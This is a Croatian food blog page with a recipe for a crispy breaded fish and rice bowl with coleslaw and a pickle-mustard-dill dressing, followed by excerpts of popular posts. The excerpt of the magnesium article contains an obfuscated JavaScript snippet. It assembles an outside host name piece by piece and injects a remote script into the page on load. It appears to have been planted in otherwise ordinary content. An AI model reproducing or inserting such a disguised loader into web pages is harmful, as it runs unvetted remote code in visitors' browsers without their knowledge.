HRSKAVA ZDJELA S RIBOM I RIŽOM 🍚




Hrskava zdjela s ribom i rižom 




Slatko-kiseli krastavci upravo su osvojili nagradu za najbolju sporednu ulogu u ovom receptu za hrskavu ribu.




Hrskava zdjela s ribom i rižom 


Sastojci:

  • 200 g bijele riže dugog zrna (oko 1 šalica), isprane


  • 1/3 šalice nasjeckanih slatko-kiselih krastavaca, plus 2 žlice rasola iz staklenke (podijeljeno)


  • 1/4 šalice neutralnog ulja (poput ulja repice ili kikirikija), plus dodatno ulje za prženje


  • 5 žlica žutog senfa (podijeljeno)


  • 2 žličice krupne morske ili košer soli (podijeljeno)


  • 2 žlice nasjeckanog svježeg kopra, plus grančice za ukrašavanje


  • 2 1/2 šalice naribane mješavine za coleslaw salatu (kupovne mješavine kupusa i mrkve)


  • 1 veliko jaje


  • 700 g filetiranog bijelog ribljeg mesa (poput bakalara ili oslića, debljine oko 2 cm), posušenog papirnatim ručnikom i narezanog na 8 komada


  • 1 1/4 šalice panko mrvica




Priprema:

Skuhajte rižu prema uputama na pakiranju. Držite je na toplom.Dok se riža kuha, u maloj posudi umutite rasol od krastavaca, ulje, 1 žlicu senfa i 1/4 žličice soli dok se ne sjedine. Umiješajte nasjeckane krastavce i kopar.


U srednje velikoj posudi pomiješajte mješavinu za coleslaw salatu, 3 žlice pripremljenog dresinga i 1/2 žličice soli.


U srednje velikoj posudi umutite jaje, 1 žličicu soli i preostalu 1/4 šalice senfa dok ne dobijete glatku smjesu; dodajte komade ribe i lagano promiješajte dok svaki komad ne bude ravnomjerno obložen. U drugoj plitkoj posudi pomiješajte panko mrvice i preostalu 1/4 žličice soli. Uvaljajte komade ribe u panko smjesu, lagano pritišćući da se mrvice prime. Nježno otresite višak i prebacite paniranu ribu na tanjur.


U veliku tešku tavu ulijte ulje tako da dostigne visinu od oko 0,5 cm; zagrijavajte na srednje jakoj vatri dok ne počne svjetlucati. Radeći u dvije serije, dodajte ribu u tavu. Pržite uz jedno okretanje dok ne porumeni i ne dobije zlatnu boju, a kuhinjski termometar umetnut u najdeblji dio ribe ne pokaže 57°C (ukupno oko 6 do 8 minuta). Prebacite prženu ribu na tanjur obložen papirnatim ručnikom.


Rasporedite rižu u 4 plitke zdjele; na vrh stavite hrskavu ribu i pripremljenu salatu. Prelijte preostalim dresingom i ukrasite grančicama svježeg kopra.



Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više